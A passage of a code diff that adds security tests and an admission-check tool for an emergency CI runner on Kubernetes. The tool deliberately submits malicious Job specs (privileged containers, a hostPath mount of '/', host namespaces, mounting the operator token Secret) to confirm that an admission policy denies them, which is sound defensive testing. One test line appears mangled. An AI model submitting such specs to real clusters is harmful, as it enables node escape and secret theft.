`${SESSION_COOKIE}=${setCookie(back, SESSION_COOKIE)}`; + const me = await api({ method: "GET", path: "auth/session", headers: { "x-gha-emergency": "1", cookie } }); + expect(me.body).toMatchObject({ roles: [], permissions: [] }); + for (const path of ["admin/users", "snapshots", "executions"]) expect((await api({ method: "GET", path, headers: { "x-gha-emergency": "1", cookie } })).status).toBe(403); + expect(audit.find((a) => a.action === "signed-in" && (a.by as { name: string }).name === "mallory")).toMatchObject({ roles: [] }); + expect((await call("GET", "snapshots", undefined, "dave")).status).toBe(200); + }); + + it("expires sessions (absolute and idle limits) and lets users and administrators revoke them", async () => { + const { call } = await setup(); + expect((await call("GET", "snapshots")).status).toBe(200); + clock = new Date(NOW.getTime() + 59 * 60_000); + expect((await call("GET", "snapshots")).status).toBe(200); + clock = new Date(clock.getTime() + 61 * 60_000); + expect((await call("GET", "snapshots")).status).toBe(401); + // Absolute: 8 hours even when used every few minutes. + const s2 = await setup(); + clock = NOW; + for (let m = 0; m < 8 * 60; m += 50) { + clock = new Date(NOW.getTime() + m * 60_000); + expect((await s2.call("GET", "snapshots", undefined, "bob")).status).toBe(200); + } + clock = new Date(NOW.getTime() + 8 * 3_600_000 + 1); + expect((await s2.call("GET", "snapshots", undefined, "bob")).status).toBe(401); + }); + + it("signing out, an administrator's revocation and disabling a user end sessions at once", async () => { + const { call, audit } = await setup(); + expect((await call("POST", "auth/logout", {})).status).toBe(200); + expect((await call("GET", "snapshots")).status).toBe(401); + const t = await setup(); + expect((await t.call("GET", "snapshots", undefined, "bob")).status).toBe(200); + expect((await t.call("POST", `admin/users/${uid("bob")}/revoke-sessions`, {}, "root")).body).toEqual({ revoked: 1 }); + expect((await t.call("GET", "snapshots", undefined, "bob")).status).toBe(401); + const u = await setup(); + expect((await u.call("GET", "snapshots", undefined, "erin")).status).toBe(200); + expect((await u.call("POST", `admin/users/${uid("erin")}/disable`, {}, "root")).status).toBe(200); + expect((await u.call("GET", "snapshots", undefined, "erin")).status).toBe(401); + await expect(u.signIn("erin")).rejects.toThrow(/sign-in failed/); + expect(audit.some((a) => a.action === "signed-out")).toBe(true); + }); + + it("break-glass: separate named accounts with pinned roles, a reason, short sessions, and a lockout", async () => { + const { api, audit } = await setup(); + const bg = (account: string, credential: string, reason = "IdP outage INC-1234, approved by on-call lead") => + api({ method: "POST", path: "auth/break-glass", headers: { "x-gha-emergency": "1", "content-type": "application/json" }, body: Buffer.from(JSON.stringify({ account, credential, reason })) }); + expect((await bg("recovery-1", BREAK_GLASS["recovery-1"]!, "short")).status).toBe(422); + const ok = await bg("recovery-1", BREAK_GLASS["recovery-1"]!); + expect(ok.status).toBe(200); + const cookie = `${SESSION_COOKIE}=${setCookie(ok, SESSION_COOKIE)}`; + expect([ok.headers!["Set-Cookie"]].flat()[0]).toMatch(/Max-Age=3600$/); + const me = (await api({ method: "GET", path: "auth/session", headers: { "x-gha-emergency": "1", cookie } })).body as any; + expect(me).toMatchObject({ user: { id: "bg-recovery-1", kind: "break-glass" }, roles: ["operator"], session: { method: "break-glass" } }); + expect(audit.find((a) => a.action === "signed-in" && a.method === "break-glass")).toMatchObject({ reason: "IdP outage INC-1234, approved by on-call lead" }); + clock = new Date(NOW.getTime() + 61 * 60_000); + expect((await api({ method: "GET", path: "snapshots", headers: { "x-gha-emergency": "1", cookie } })).status).toBe(401); + for (let i = 0; i < 5; i++) expect((await bg("recovery-2", "wrong-credential-wrong-credential-wrong")).status).toBe(401); + expect((await bg("recovery-2", BREAK_GLASS["recovery-2"]!)).body).toMatchObject({ error: expect.stringMatching(/Too many failed attempts/) }); + expect((await bg("no-such-account", "x".repeat(40))).status).toBe(401); + expect(JSON.stringify(audit)).not.toContain(BREAK_GLASS["recovery-1"]); + }); +}); + +describe("security review H2: role-based authorization", () => { + it("a viewer reads, but can't upload, execute, verify, delete or run checks", async () => { + const { call, boundDemo, jobs } = await setup(); + const id = await boundDemo(); + expect((await call("GET", "snapshots", undefined, "dave")).status).toBe(200); + expect((await call("GET", `snapshots/${id}`, undefined, "dave")).status).toBe(200); + expect((await call("GET", "network-check", undefined, "dave")).status).toBe(200); + expect((await call("POST", "snapshots", await bundle({ "x.txt": "y" }), "dave")).status).toBe(403); + expect((await call("POST", "executions", run(id), "dave")).status).toBe(403); + expect((await call("POST", `snapshots/${id}/verify`, {}, "dave")).status).toBe(403); + expect((await call("DELETE", `snapshots/${id}`, undefined, "dave")).status).toBe(403); + expect((await call("POST", "network-check", {}, "dave")).status).toBe(403); + expect(jobs.size).toBe(0); + }); + + it("an operator can't administer: users, roles, sessions, bindings and the audit log are refused", async () => { + const { call, audit } = await setup(); + for (const [m, path, body] of [["GET", "admin/users"], ["PUT", `admin/users/${uid("bob")}/roles`, { roles: ["administrator"] }], ["POST", `admin/users/${uid("bob")}/disable`, {}], ["POST", `admin/users/${uid("bob")}/revoke-sessions`, {}], ["GET", "admin/bindings"], ["PUT", "admin/bindings/release-demo", { suspended: true, reason: "because" }], ["GET", "admin/audit"]] as [string, string, unknown][]) { + const r = await call(m, path, body); + expect([path, r.status]).toEqual([path, 403]); + } + expect(denials(audit).every((d) => (d.by as { name: string }).name === "alice")).toBe(true); + }); + + it("nobody grants themselves a role; administrators manage others' roles, and changes apply at once and are audited", async () => { + const { call, audit } = await setup(); + // An operator can't, by any route. + expect((await call("PUT", `admin/users/${uid("alice")}/roles`, { roles: ["operator", "administrator"] })).status).toBe(403); + // An administrator can't change their own roles either, nor disable themselves. + await call("GET", "auth/session", undefined, "root"); + expect((await call("PUT", `admin/users/${uid("root")}/roles`, { roles: ["operator", "approver"] }, "root")).body).toMatchObject({ details: ["You can't change your own roles"] }); + expect((await call("POST", `admin/users/${uid("root")}/disable`, {}, "root")).status).toBe(403); + // Pinned administrators keep their role; others' roles change at the next request, without signing in again. + expect((await call("GET", "admin/users", undefined, "root")).body.users.find((u: any) => u.id === uid("root"))).toMatchObject({ effectiveRoles: ["administrator"], pinnedRoles: ["administrator"] }); + expect((await call("GET", "executions", undefined, "dave")).status).toBe(200); + expect((await call("PUT", `admin/users/${uid("dave")}/roles`, { roles: [] }, "root")).status).toBe(200); + expect((await call("GET", "executions", undefined, "dave")).status).toBe(403); + expect((await call("PUT", `admin/users/${uid("dave")}/roles`, { roles: ["superuser"] }, "root")).status).toBe(422); + expect(audit.find((a) => a.action === "roles-changed")).toMatchObject({ by: { id: uid("root") }, user: { id: uid("dave") }, before: ["viewer"], after: [] }); + expect((await call("PUT", "admin/users/u-000000000000000000000000/roles", { roles: ["viewer"] }, "root")).status).toBe(404); + }); + + it("restricted snapshots: invisible to other operators and viewers by ID, listing or name; run only by their preparer", async () => { + const { call, bindings } = await setup(); + const up = await call("POST", "snapshots", { ...(await bundle({ "docs/restricted.txt": "x\n" })), visibility: "restricted" }, "bob"); + expect(up.body.snapshot).toMatchObject({ visibility: "restricted", preparedBy: { id: uid("bob"), name: "bob" } }); + const id = up.body.snapshot.id as string; + bindings.push({ name: "release-demo", secret: "demo-secrets", keys: ["DEMO_SIGNING_KEY"], snapshots: [id] }); + for (const who of ["alice", "dave"]) { + expect((await call("GET", "snapshots", undefined, who)).body.snapshots.map((s: any) => s.id)).not.toContain(id); + expect((await call("GET", `snapshots/${id}`, undefined, who)).status).toBe(404); + } + expect((await call("POST", `snapshots/${id}/verify`, {}, "alice")).status).toBe(404); + expect((await call("POST", "executions", run(id), "alice")).status).toBe(404); + expect((await call("DELETE", `snapshots/${id}`, undefined, "alice")).status).toBe(404); + // Uploading the same content doesn't reveal or take it over; a new version under its name is refused. + expect((await call("POST", "snapshots", await bundle({ "docs/restricted.txt": "x\n" }), "alice")).status).toBe(409); + expect((await call("POST", "snapshots", await bundle({ "docs/restricted.txt": "y\n" }), "alice")).body.details[0].message).toMatch(/belongs to a restricted snapshot prepared by someone else/); + // Approvers and administrators see it (approvers review what they approve); only bob runs it. + expect((await call("GET", `snapshots/${id}`, undefined, "carol")).status).toBe(200); + expect((await call("GET", `snapshots/${id}`, undefined, "root")).status).toBe(200); + const exec = await call("POST", "executions", run(id), "bob"); + expect(exec.status).toBe(201); + expect((await call("GET", `executions/${exec.body.execution.id}`, undefined, "alice")).status).toBe(404); + expect((await call("GET", "executions", undefined, "alice")).body.executions).toEqual([]); + expect((await call("DELETE", `executions/${exec.body.execution.id}`, undefined, "alice")).status).toBe(404); + expect((await call("GET", `executions/${exec.body.execution.id}`, undefined, "carol")).status).toBe(200); + }); + + it("ownership comes from the session, never from the request: claimed preparers, initiators and approvals are ignored", async () => { + const { call, jobs, bindings } = await setup(); + const up = await call("POST", "snapshots", { ...(await bundle()), preparedBy: { id: uid("root"), name: "root" }, visibility: "shared" }); + expect(up.body.snapshot.preparedBy).toEqual({ id: uid("alice"), name: "alice" }); + bindings.push({ name: "release-demo", secret: "demo-secrets", keys: ["DEMO_SIGNING_KEY"], snapshots: [up.body.snapshot.id] }); + const exec = await call("POST", "executions", { ...run(up.body.snapshot.id), initiatedBy: { id: uid("carol"), name: "carol" }, approval: { decidedBy: { id: uid("carol") } }, state: "started", secretName: "operator" }); + expect(exec.status).toBe(422); + expect(exec.body.details.join()).toMatch(/secretName can't be chosen/); + const ok = await call("POST", "executions", { ...run(up.body.snapshot.id), initiatedBy: { id: uid("carol"), name: "carol" }, approval: { decidedBy: { id: uid("carol") } }, state: "approved" }); + expect(ok.status).toBe(201); + expect(ok.body.execution).toMatchObject({ initiatedBy: { id: uid("alice"), name: "alice" }, state: "started" }); + expect(ok.body.execution.approval).toBeUndefined(); + expect(jobs.size).toBe(1); + }); + + it("only its preparer or an administrator deletes a snapshot; only its initiator or an administrator stops an execution", async () => { + const { call, boundDemo, jobs } = await setup(); + const id = await boundDemo(); + expect((await call("DELETE", `snapshots/${id}`, undefined, "bob")).status).toBe(403); + const exec = (await call("POST", "executions", run(id))).body.execution; + expect((await call("DELETE", `executions/${exec.id}`, undefined, "bob")).status).toBe(403); + expect(jobs.size).toBe(1); + expect((await call("DELETE", `executions/${exec.id}`, undefined, "root")).status).toBe(200); + expect(jobs.size).toBe(0); + expect((await call("DELETE", `snapshots/${id}`, undefined, "root")).status).toBe(200); + }); + + it("Secret bindings: only administrators suspend or resume them, and nobody creates or widens one through the API", async () => { + const { call, boundDemo, audit } = await setup(); + const id = await boundDemo(); + expect((await call("PUT", "admin/bindings/release-demo", { suspended: true, reason: "rotate" })).status).toBe(403); + expect((await call("POST", "admin/bindings/new-binding", { secret: "prod-db", keys: ["PASSWORD"], snapshots: [id] }, "root")).status).toBe(405); + expect((await call("DELETE", "admin/bindings/release-demo", undefined, "root")).status).toBe(405); + expect((await call("PUT", "admin/bindings/not-configured", { suspended: false, reason: "resume it" }, "root")).status).toBe(404); + expect((await call("PUT", "admin/bindings/release-demo", { suspended: true, reason: "key rotation" }, "root")).status).toBe(200); + expect((await call("POST", "executions", run(id))).body.details).toEqual(["The Secret binding release-demo is suspended by an administrator"]); + expect((await call("PUT", "admin/bindings/release-demo", { suspended: false, reason: "rotated" }, "root")).status).toBe(200); + expect((await call("POST", "executions", run(id))).status).toBe(201); + expect(audit.filter((a) => String(a.action).startsWith("binding-")).map((a) => a.action)).toEqual(["binding-suspended", "binding-resumed"]); + }); + + it("administrators read the attributed audit log; it never holds session tokens or event keys", async () => { + const { call, boundDemo, sessionOf } = await setup(); + const id = await boundDemo(); + await call("POST", "executions", run(id)); + const entries = (await call("GET", "admin/audit", undefined, "root")).body.entries as any[]; + expect(entries.map((e) => e.action)).toEqual(expect.arrayContaining(["signed-in", "snapshot-stored", "execution-started"])); + expect(entries.find((e) => e.action === "execution-started")).toMatchObject({ by: { name: "alice" } }); + expect(JSON.stringify(entries)).not.toContain(await sessionOf("alice")); + }); +}); + +describe("security review H2: execution approval", () => { + const POLICY: ApprovalPolicy = { requireFor: ["secrets", "egress"], separationOfDuties: true, ttlMinutes: 60 }; + + async function requested(opts: SetupOptions = {}) { + const ctx = await setup({ approval: POLICY, ...opts }); + const id = await ctx.boundDemo(); + const r = await ctx.call("POST", "executions", run(id, { inputs: { version: "4.2.0" } })); + return { ...ctx, id, r, exec: r.body.execution }; + } + + it("a sensitive execution (it receives a Secret) waits for approval, with no Job; a harmless one runs at once", async () => { + const t = await requested(); + expect(t.r.status).toBe(202); + expect(t.exec).toMatchObject({ state: "awaiting-approval", initiatedBy: { id: uid("alice") }, preparedBy: { id: uid("alice") }, approval: { reasons: [expect.stringMatching(/receives DEMO_SIGNING_KEY from Secret demo-secrets/)], requestDigest: expect.stringMatching(/^[0-9a-f]{64}$/) } }); + expect(t.jobs.size).toBe(0); + expect((await t.call("GET", `executions/${t.exec.id}`, undefined, "dave")).body).toMatchObject({ job: { state: "not-started" }, view: { status: "pending", reason: "Waiting for an approver" } }); + // No Secret, isolated: no approval needed under the default policy. + const harmless = await t.call("POST", "snapshots", await bundle({ ".github/workflows/release.yml": "on: workflow_dispatch\njobs:\n j:\n runs-on: x\n steps:\n - run: echo hello\n" })); + expect((await t.call("POST", "executions", { snapshotId: harmless.body.snapshot.id, workflow: WORKFLOW })).status).toBe(201); + }); + + it("an approver approves exactly the reviewed request; the Job starts, attributed to preparer, initiator and approver", async () => { + const t = await requested(); + const r = await t.call("POST", `executions/${t.exec.id}/approve`, { decision: "approve", requestDigest: t.exec.approval.requestDigest, comment: "release 4.2.0, change CHG-77" }, "carol"); + expect(r.status).toBe(201); + expect(r.body.execution).toMatchObject({ state: "started", initiatedBy: { name: "alice" }, preparedBy: { name: "alice" }, approval: { decision: "approved", decidedBy: { id: uid("carol"), name: "carol" }, comment: "release 4.2.0, change CHG-77" }, secretName: "demo-secrets" }); + expect(r.body.execution.decisions.map((d: any) => `${d.decision}:${d.by.name}`)).toEqual(["requested:alice", "approved:carol", "started:carol"]); + expect(t.jobs.size).toBe(1); + expect(t.audit.find((a) => a.action === "execution-started")).toMatchObject({ initiatedBy: { name: "alice" }, approvedBy: { name: "carol" } }); + }); + + it("refuses approval by users without the approver role, and by the initiator or preparer (separation of duties)", async () => { + const t = await requested(); + const body = { decision: "approve", requestDigest: t.exec.approval.requestDigest }; + expect((await t.call("POST", `executions/${t.exec.id}/approve`, body, "bob")).status).toBe(403); + expect((await t.call("POST", `executions/${t.exec.id}/approve`, body, "dave")).status).toBe(403); + // alice is given the approver role too: still not for her own request. + t.authStore.setRoles(uid("alice"), ["operator", "approver"], "test-fixture"); + expect((await t.call("POST", `executions/${t.exec.id}/approve`, body, "alice")).body.details[0]).toMatch(/Separation of duties/); + // bob requests a run of alice's snapshot: alice prepared it, so she can't approve that either. + const bobs = (await t.call("POST", "executions", run(t.id), "bob")).body.execution; + expect((await t.call("POST", `executions/${bobs.id}/approve`, { decision: "approve", requestDigest: bobs.approval.requestDigest }, "alice")).body.details[0]).toMatch(/Separation of duties/); + expect(t.jobs.size).toBe(0); + // Without separation of duties (configurable), a dual-role user may. + const lax = await requested({ approval: { ...POLICY, separationOfDuties: false } }); + lax.authStore.setRoles(uid("alice"), ["operator", "approver"], "test-fixture"); + expect((await lax.call("POST", `executions/${lax.exec.id}/approve`, { decision: "approve", requestDigest: lax.exec.approval.requestDigest }, "alice")).status).toBe(201); + }); + + it("an approval can't be replayed: another request's digest, a changed binding or an expired request invalidate it", async () => { + const t = await requested(); + const other = (await t.call("POST", "executions", run(t.id, { inputs: { version: "9.9.9-evil" } }))).body.execution; + expect(other.approval.requestDigest).not.toBe(t.exec.approval.requestDigest); + // The digest the approver reviewed (4.2.0) presented for the other request (9.9.9-evil): refused. + expect((await t.call("POST", `executions/${other.id}/approve`, { decision: "approve", requestDigest: t.exec.approval.requestDigest }, "carol")).status).toBe(409); + expect(t.audit.some((a) => a.action === "approval-mismatch")).toBe(true); + // The binding changes after the request (another key): the request is invalidated, not approved. + t.bindings[0]!.keys = ["DEMO_SIGNING_KEY", "EXTRA"]; + t.bindings[0]!.secret = "prod-secrets"; + const changed = await t.call("POST", `executions/${t.exec.id}/approve`, { decision: "approve", requestDigest: t.exec.approval.requestDigest }, "carol"); + expect(changed).toMatchObject({ status: 409, body: { details: [expect.stringMatching(/changed since it was requested/)] } }); + expect((await t.call("GET", `executions/${t.exec.id}`)).body.meta.state).toBe("invalidated"); + // Expiry. + const u = await requested(); + clock = new Date(NOW.getTime() + 61 * 60_000); + expect((await u.call("POST", `executions/${u.exec.id}/approve`, { decision: "approve", requestDigest: u.exec.approval.requestDigest }, "carol")).body.error).toMatch(/expired/); + expect(t.jobs.size + u.jobs.size).toBe(0); + }); + + it("a binding suspended after approval stops the start and invalidates the approval", async () => { + const t = await requested({ admission: "unverified" }); + // Approved while the admission check fails: the approval stands, the Job doesn't start. + const approved = await t.call("POST", `executions/${t.exec.id}/approve`, { decision: "approve", requestDigest: t.exec.approval.requestDigest }, "carol"); + expect(approved.body).toMatchObject({ execution: { state: "approved" }, startProblem: { error: expect.stringMatching(/admission policy/) } }); + t.bindingState.set("release-demo", { suspended: true, by: { id: "x", name: "x" }, at: NOW.toISOString(), reason: "incident" }); + expect((await t.call("POST", `executions/${t.exec.id}/start`, {}, "bob")).status).toBe(403); + expect((await t.call("POST", `executions/${t.exec.id}/start`, {})).body).toMatchObject({ details: [expect.stringMatching(/suspended/)] }); + expect((await t.call("GET", `executions/${t.exec.id}`)).body.meta.state).toBe("invalidated"); + expect(t.jobs.size).toBe(0); + }); + + it("a rejection is final", async () => { + const u = await requested(); + expect((await u.call("POST", `executions/${u.exec.id}/approve`, { decision: "reject", requestDigest: u.exec.approval.requestDigest, comment: "not during the freeze" }, "carol")).body.execution).toMatchObject({ state: "rejected", approval: { decidedBy: { name: "carol" } } }); + expect((await u.call("POST", `executions/${u.exec.id}/start`, {})).status).toBe(409); + expect((await u.call("POST", `executions/${u.exec.id}/approve`, { decision: "approve", requestDigest: u.exec.approval.requestDigest }, "erin")).status).toBe(409); + expect(u.jobs.size).toBe(0); + }); + + it("an approved execution blocked by a cluster check is started later by its initiator only", async () => { + const t = await requested({ admission: "unverified" }); + await t.call("POST", `executions/${t.exec.id}/approve`, { decision: "approve", requestDigest: t.exec.approval.requestDigest }, "carol"); + t.adm.checker.ensureFresh = async () => ({ state: "enforced", checkedAt: NOW.toISOString() }); + expect((await t.call("POST", `executions/${t.exec.id}/start`, {}, "bob")).status).toBe(403); + expect((await t.call("POST", `executions/${t.exec.id}/start`, {}, "root")).status).toBe(403); + const started = await t.call("POST", `executions/${t.exec.id}/start`, {}); + expect(started).toMatchObject({ status: 201, body: { execution: { state: "started", approval: { decidedBy: { name: "carol" } } } } }); + expect((await t.call("POST", `executions/${t.exec.id}/start`, {})).status).toBe(409); + }); + + it("break-glass accounts can complete the flow during an identity-provider outage, as two different people", async () => { + const t = await requested(); + const bg = async (account: string) => { + const r = await t.api({ method: "POST", path: "auth/break-glass", headers: { "x-gha-emergency": "1", "content-type": "application/json" }, body: Buffer.from(JSON.stringify({ account, credential: BREAK_GLASS[account], reason: "IdP outage INC-1234" })) }); + return `${SESSION_COOKIE}=${setCookie(r, SESSION_COOKIE)}`; + }; + const as = (cookie: string, method: string, path: string, body?: unknown) => t.api({ method, path, headers: { "x-gha-emergency": "1", "content-type": "application/json", cookie }, body: body === undefined ? undefined : Buffer.from(JSON.stringify(body)) }); + const operator = await bg("recovery-1"); + const approver = await bg("recovery-2"); + const req = (await as(operator, "POST", "executions", run(t.id))).body as any; + expect(req.execution).toMatchObject({ state: "awaiting-approval", initiatedBy: { id: "bg-recovery-1" } }); + expect((await as(operator, "POST", `executions/${req.execution.id}/approve`, { decision: "approve", requestDigest: req.execution.approval.requestDigest })).status).toBe(403); + expect((await as(approver, "POST", `executions/${req.execution.id}/approve`, { decision: "approve", requestDigest: req.execution.approval.requestDigest })).status).toBe(201); + }); +}); diff --git a/tests/unit/emergency-runner.test.ts b/tests/unit/emergency-runner.test.ts new file mode 100644 index 0000000..206406c --- /dev/null +++ b/tests/unit/emergency-runner.test.ts @@ -0,0 +1,21 @@ +import { fileURLToPath } from "node:url"; +import { describe, expect, it } from "vitest"; +import { parseFileCommands } from "../../deploy/emergency/runner/engine.ts"; +import { runChecks } from "../../tools/emergency/runner-check.ts"; + +const root = fileURLToPath(new URL("../..", import.meta.url)); + +describe("runner file commands", () => { + it("parses name=value and heredoc entries like GitHub", () => { + expect(parseFileCommands("a=1\nb< { + it("runs every supported step in order, handles failures, and never leaks the secret", async () => { + const scenarios = await runChecks(root); + expect(scenarios.map((s) => [s.name, s.failures])).toEqual(scenarios.map((s) => [s.name, []])); + }, 120_000); +}); diff --git a/tools/emergency/admission-check.ts b/tools/emergency/admission-check.ts new file mode 100644 index 0000000..0705a23 --- /dev/null +++ b/tools/emergency/admission-check.ts @@ -0,0 +1,345 @@ +// Security review H4: sends legitimate and malicious runner Jobs to a real API server where the gha-emergency chart is +// installed, and checks that the API server, not the executor, decides. Run it against a disposable cluster: it +// creates and deletes Jobs (and one Pod) in the release namespace, and with --negative-control it briefly removes and +// restores the policy binding and the namespace's dedicated label. +// +// node --disable-warning=ExperimentalWarning tools/emergency/admission-check.ts --server https://127.0.0.1:16443 \ +// --token-file [--ca | --insecure] [--namespace gha-emergency] [--release gha-emergency] \ +// [--snapshot ] [--negative-control] [--pods] [--reproduce] +// +// The token must be a cluster administrator's: it reads the executor's Deployment and impersonates the executor's +// service account, so every Job is sent with exactly the executor's RBAC. The legitimate Jobs come from the real +// builders (deploy/emergency/executor/job-spec.ts), configured from the installed executor's own environment, so a +// policy that drifts from the builders fails here. --pods needs a running Job controller. Never prints the token. +// --reproduce shows the finding instead: with the binding removed, which malicious Jobs the executor's RBAC lets +// through, and which of their pods Pod Security "restricted" still admits (needs a Job controller); then it exits. +import { readFileSync } from "node:fs"; +import { request } from "node:https"; +import { parseArgs } from "node:util"; +import { createAdmissionCheck } from "../../deploy/emergency/executor/admission-check.ts"; +import { buildCanaryJob, buildJob, type CanaryRole } from "../../deploy/emergency/executor/job-spec.ts"; +import { KubeError, type KubeApi } from "../../deploy/emergency/executor/kube.ts"; + +type Obj = Record; // eslint-disable-line @typescript-eslint/no-explicit-any -- Kubernetes objects are untyped JSON here + +const { values: args } = parseArgs({ + options: { + server: { type: "string" }, + "token-file": { type: "string" }, + ca: { type: "string" }, + insecure: { type: "boolean", default: false }, + namespace: { type: "string", default: "gha-emergency" }, + release: { type: "string", default: "gha-emergency" }, + snapshot: { type: "string" }, + "negative-control": { type: "boolean", default: false }, + pods: { type: "boolean", default: false }, + reproduce: { type: "boolean", default: false }, + }, +}); +if (!args.server || !args["token-file"]) throw new Error("--server and --token-file are required"); +const token = readFileSync(args["token-file"], "utf8").trim(); +const ca = args.ca ? readFileSync(args.ca) : undefined; +const ns = args.namespace!; +// The chart's fullname (_helpers.tpl). +const full = args.release!.includes("gha-emergency") ? args.release! : `${args.release}-gha-emergency`; +const executorUser = `system:serviceaccount:${ns}:${full}-executor`; +const server = new URL(args.server); + +type Res = { status: number; body: Obj }; +function api(method: string, path: string, body?: unknown, as?: string): Promise { + return new Promise((done, fail) => { + const data = body === undefined ? undefined : Buffer.from(JSON.stringify(body)); + const contentType = method === "PATCH" ? "application/merge-patch+json" : "application/json"; + const headers = { Authorization: `Bearer ${token}`, Accept: "application/json", ...(as ? { "Impersonate-User": as } : {}), ...(data ? { "Content-Type": contentType, "Content-Length": String(data.length) } : {}) }; + const req = request({ host: server.hostname, port: server.port || 443, method, path, ca, rejectUnauthorized: !args.insecure, timeout: 30_000, headers }, (res) => { + const chunks: Buffer[] = []; + res.on("data", (c: Buffer) => chunks.push(c)); + res.on("end", () => { + const text = Buffer.concat(chunks).toString("utf8"); + let parsed: Obj; + try { + parsed = JSON.parse(text) as Obj; + } catch { + parsed = { message: text }; + } + done({ status: res.statusCode ?? 0, body: parsed }); + }); + }); + req.on("timeout", () => req.destroy(new Error(`${method} ${path} timed out`))); + req.on("error", fail); + req.end(data); + }); +} +const sleep = (ms: number) => new Promise((r) => setTimeout(r, ms)); +/** A test API server's TLS handshake is occasionally slow under load: retry transport errors, never API answers. */ +async function call(method: string, path: string, body?: unknown, as?: string): Promise { + for (let attempt = 1; ; attempt++) { + try { + return await api(method, path, body, as); + } catch (error) { + if (attempt >= 4) throw error; + await sleep(2000); + } + } +} +const jobsPath = (namespace = ns) => `/apis/batch/v1/namespaces/${namespace}/jobs`; + +// ---- the executor's configuration, as installed ------------------------------------------------------------------- + +const deployment = (await call("GET", `/apis/apps/v1/namespaces/${ns}/deployments/${full}-executor`)).body; +if (!deployment.spec) throw new Error(`Executor Deployment ${full}-executor not found in ${ns}: ${deployment.message}`); +const env = Object.fromEntries((deployment.spec.template.spec.containers[0].env as { name: string; value?: string }[]).map((e) => [e.name, e.value ?? ""])); +const bindings = JSON.parse((await call("GET", `/api/v1/namespaces/${ns}/configmaps/${full}-bindings`)).body.data["bindings.json"]) as { secret: string; keys: string[]; snapshots: string[] }[]; +const policyName = env.GHA_EMERGENCY_ADMISSION_POLICY!; +const operatorSecret = env.GHA_EMERGENCY_OPERATOR_SECRET!; +const config = { + namespace: ns, + runnerImage: env.GHA_EMERGENCY_RUNNER_IMAGE!, + pvcName: env.GHA_EMERGENCY_PVC!, + serviceAccountName: env.GHA_EMERGENCY_RUNNER_SERVICE_ACCOUNT!, + executorPodLabels: JSON.parse(env.GHA_EMERGENCY_EXECUTOR_POD_LABELS!) as Record, + resources: { cpu: env.GHA_EMERGENCY_RUNNER_CPU!, memory: env.GHA_EMERGENCY_RUNNER_MEMORY!, scratch: env.GHA_EMERGENCY_RUNNER_SCRATCH! }, + maxMinutes: Number(env.GHA_EMERGENCY_MAX_MINUTES), + ttlSecondsAfterFinished: Number(env.GHA_EMERGENCY_JOB_TTL_SECONDS), +}; +const bound = bindings.find((b) => !args.snapshot || b.snapshots.includes(args.snapshot)); +const boundSnapshot = args.snapshot ?? bound?.snapshots[0]; +const unboundDigest = "0".repeat(63) + "1"; +let seq = 0; +const nextId = () => `${Date.now().toString(16).slice(-8)}${(seq++).toString(16).padStart(8, "0")}`; + +// Cloned: the builders share their securityContext objects between Jobs, and the cases below mutate them. +function execution(opts: { secret?: boolean } = {}): Obj { + const snapshotId = opts.secret && boundSnapshot ? boundSnapshot : "a".repeat(64); + const input = { ...config, executionId: nextId(), snapshotId, snapshotName: "admission check", snapshotVersion: 1, workflow: ".github/workflows/release.yml", inputs: {}, variables: {}, network: "isolated" as const, snapshotSubPath: `snapshots/${snapshotId}` }; + return structuredClone(buildJob({ ...input, secret: opts.secret && bound ? { name: bound.secret, keys: [bound.keys[0]!] } : undefined })) as Obj; +} +const canary = (role: CanaryRole): Obj => + structuredClone(buildCanaryJob({ checkId: nextId().slice(-8), role, targets: [{ name: "x", host: "10.0.0.1", port: 443 }], namespace: ns, runnerImage: config.runnerImage, serviceAccountName: config.serviceAccountName, executorPodLabels: config.executorPodLabels })) as Obj; +const pod = (j: Obj): Obj => j.spec.template.spec; +const ctr = (j: Obj): Obj => pod(j).containers[0]; +const volume = (j: Obj, name: string): Obj => pod(j).volumes.find((v: Obj) => v.name === name); +const mount = (j: Obj, name: string): Obj => ctr(j).volumeMounts.find((m: Obj) => m.name === name); +const mutate = (j: Obj, f: (j: Obj) => void): Obj => { + f(j); + return j; +}; + +// ---- checks --------------------------------------------------------------------------------------------------------- + +const results: { name: string; ok: boolean }[] = []; +const record = (name: string, ok: boolean, detail: string) => { + results.push({ name, ok }); + console.log(`${ok ? "PASS" : "FAIL"} ${name}\n ${detail}`); +}; +const deniedByPolicy = (r: Res) => (r.status === 403 || r.status === 422) && String(r.body.message).includes(`ValidatingAdmissionPolicy '${policyName}'`); +const brief = (r: Res) => `${r.status} ${String(r.body.message ?? "").replace(/^.*denied request: /, "") || r.body.kind}`; + +async function expectAccepted(name: string, job: Obj) { + const r = await call("POST", jobsPath(), job, executorUser); + record(name, r.status === 201, brief(r)); + if (r.status === 201) await call("DELETE", `${jobsPath()}/${job.metadata.name}?propagationPolicy=Background`); +} + +/** as: the identity to send it with; null for the administrator's own. */ +async function expectDenied(name: string, job: Obj, as: string | null = executorUser) { + const r = await call("POST", jobsPath(), job, as ?? undefined); + const stored = await call("GET", `${jobsPath()}/${job.metadata.name}`); + if (stored.status === 200) await call("DELETE", `${jobsPath()}/${job.metadata.name}?propagationPolicy=Background`); + record(`refused: ${name}`, deniedByPolicy(r) && stored.status === 404, `${brief(r)} (stored: ${stored.status === 404 ? "no" : "YES"})`); +} + +const privileged = (j: Obj) => { + // allowPrivilegeEscalation false with privileged true is invalid before admission: ask for both, as an attacker would. + ctr(j).securityContext.privileged = true; + ctr(j).securityContext.allowPrivilegeEscalation = true; +}; +const malicious: [string, (j: Obj) => void, boolean?][] = [ + ["privileged container", privileged], + ["hostPath mount", (j) => (pod(j).volumes.push({ name: "host", hostPath: { path: "/" } }), ctr(j).volumeMounts.push({ name: "host", mountPath: "/host" }))], + ["host networking", (j) => (pod(j).hostNetwork = true)], + ["host PID namespace", (j) => (pod(j).hostPID = true)], + ["host IPC namespace", (j) => (pod(j).hostIPC = true)], + ["arbitrary Secret mount (the operator token)", (j) => (pod(j).volumes.push({ name: "secrets", secret: { secretName: operatorSecret, items: [{ key: "operator-token", path: "operator-token" }] } }), ctr(j).volumeMounts.push({ name: "secrets", mountPath: "/secrets", readOnly: true }))], + ["whole bound Secret (no items)", (j) => delete volume(j, "secrets").secret.items, true], + ["bound Secret, a key it doesn't grant", (j) => volume(j, "secrets").secret.items.push({ key: "OTHER_TEAM_TOKEN", path: "OTHER_TEAM_TOKEN" }), true], + ["bound Secret, for a snapshot it isn't bound to", (j) => (mount(j, "snapshot").subPath = `snapshots/${unboundDigest}`), true], + [ + "Secret environment variable", + (j) => { + const e = ctr(j).env.find((x: Obj) => x.name === "GHA_EMERGENCY_MAX_MINUTES"); + 